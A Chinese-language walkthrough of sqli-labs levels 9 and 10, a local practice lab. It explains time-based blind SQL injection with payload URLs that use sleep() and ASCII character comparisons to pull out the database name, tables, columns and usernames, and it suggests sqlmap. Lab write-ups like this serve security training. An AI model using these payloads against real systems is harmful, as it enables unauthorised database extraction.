目录
第九、十关
1、正常输入?id=1
2、我们不管去加什么字符,都不会报错,都只是You are in。
3、知道它存在时间盲注的情况下,我们接下来猜解当前数据库名的长度
4、猜解当前数据库名称
5、猜解当前数据库中的所有表名
6、猜解users表中的所有字段名
7、猜解users表里username字段中的所有内容
劝你本关内容只看去理解方法内容,不要去实操(纯属浪费时间),使用sqlmap工具去闯本关卡,简单便捷。
这时候我们用sleep函数了,也就是时间盲注。利用时间盲注来找寻代码闭合方式
我们用单引号和双引号测试,发现只有单引号的情况下网页会延迟回显。说明是单引号闭合方式。
http://127.0.0.1:8080/sqli/Less-9/?id=1' and sleep(3) --+
http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(length((select database())) = 8,sleep(5),1) --+
由此我们可知数据库名的长度为8
我们将获取的字符转换成ascii码,然后通过对应ascii码来一一进行比对。
http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
通过更改substr的第二个参数我们可以逐一判断出数据库名称
以此类推我们可知当前数据库的名称为security
http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 101,sleep(5),1)--+
通过更改substr的第二个参数我们可以逐一判断出数据库名称
以此类推我们可知当前数据库中所有表名为emails,referers,uagents,users。
http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) = 105,sleep(5),1)--+
通过更改substr的第二个参数我们可以逐一判断出数据库名称
以此类推我们可知users表中的所有字段名为id,username,password。
http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(username) from users),1,1)) = 68,sleep(5),1)--+
通过更改group_concat()括号中的内容以及substr的第二个参数来获取不同字段中的所有数据。
以此类推我们可知users表中的username字段中所有内容为Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。
第十关和第九关一样,只是单引号变成双引号。
因为盲注猜解效率低,所以我们选择去使用sqlmap工具来代替我们进行渗透。
到此闯关完成,闯关结束。